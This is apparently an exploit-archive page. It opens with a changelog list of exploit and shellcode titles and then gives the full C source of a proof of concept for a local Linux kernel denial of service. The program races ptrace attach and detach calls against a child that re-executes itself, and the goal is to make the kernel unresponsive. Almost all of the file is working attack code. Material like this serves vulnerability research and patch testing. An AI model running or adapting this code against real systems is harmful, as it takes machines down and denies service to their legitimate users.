
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
103 lines
No EOL
2.3 KiB
C
103 lines
No EOL
2.3 KiB
C
/*
|
|
source: https://www.securityfocus.com/bid/29945/info
|
|
|
|
The Linux kernel is prone to a local denial-of-service vulnerability caused by a race condition.
|
|
|
|
Attackers can exploit this issue to cause the kernel to become unresponsive, denying service to legitimate users.
|
|
*/
|
|
|
|
/* This software is provided 'as-is', without any express or implied
|
|
warranty. In no event will the authors be held liable for any
|
|
damages
|
|
arising from the use of this software.
|
|
|
|
Permission is granted to anyone to use this software for any purpose,
|
|
including commercial applications, and to alter it and redistribute
|
|
it
|
|
freely. */
|
|
|
|
#ifdef __ia64__
|
|
#define ia64_fpreg ia64_fpreg_DISABLE
|
|
#define pt_all_user_regs pt_all_user_regs_DISABLE
|
|
#endif /* __ia64__ */
|
|
#include <sys/ptrace.h>
|
|
#ifdef __ia64__
|
|
#undef ia64_fpreg
|
|
#undef pt_all_user_regs
|
|
#endif /* __ia64__ */
|
|
#include <linux/ptrace.h>
|
|
#include <sys/types.h>
|
|
#include <sys/user.h>
|
|
#if defined __i386__ || defined __x86_64__
|
|
#include <sys/debugreg.h>
|
|
#endif
|
|
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <pthread.h>
|
|
#include <signal.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
|
|
/* WARNING: The real testing count is probably unbound. */
|
|
#define DEFAULT_TESTTIME 10 /* seconds */
|
|
|
|
static pid_t pid;
|
|
|
|
static void
|
|
cleanup (void)
|
|
{
|
|
if (pid != 0)
|
|
kill (pid, SIGKILL);
|
|
}
|
|
|
|
static void
|
|
handler_fail (int signo)
|
|
{
|
|
cleanup ();
|
|
|
|
signal (signo, SIG_DFL);
|
|
raise (signo);
|
|
}
|
|
|
|
static void *thread_func(void *argv0_pointer)
|
|
{
|
|
execl("/proc/self/exe", argv0_pointer, "child", NULL);
|
|
abort ();
|
|
/* NOTREACHED */
|
|
}
|
|
|
|
int main(int argc, const char *argv[])
|
|
{
|
|
char *testtime = getenv ("TESTTIME");
|
|
time_t testend = time (NULL) + (testtime != NULL ? atoi
|
|
(testtime)
|
|
:
|
|
DEFAULT_TESTTIME);
|
|
unsigned long loops;
|
|
pthread_t thread;
|
|
|
|
atexit (cleanup);
|
|
signal (SIGABRT, handler_fail);
|
|
signal (SIGINT, handler_fail);
|
|
|
|
if ((argc != 2 || strcmp (argv[1], "child") != 0) && (pid =
|
|
fork())) {
|
|
loops = 0;
|
|
do {
|
|
ptrace(PTRACE_ATTACH, pid, NULL, 0);
|
|
ptrace(PTRACE_DETACH, pid, NULL, 0);
|
|
loops++;
|
|
} while (time (NULL) < testend);
|
|
return 0;
|
|
}
|
|
|
|
if (pthread_create(&thread, NULL, thread_func, (void *)
|
|
argv[0]))
|
|
perror("pthread_create");
|
|
|
|
while (1)
|
|
pause();
|
|
/* NOTREACHED */
|
|
abort ();
|
|
} |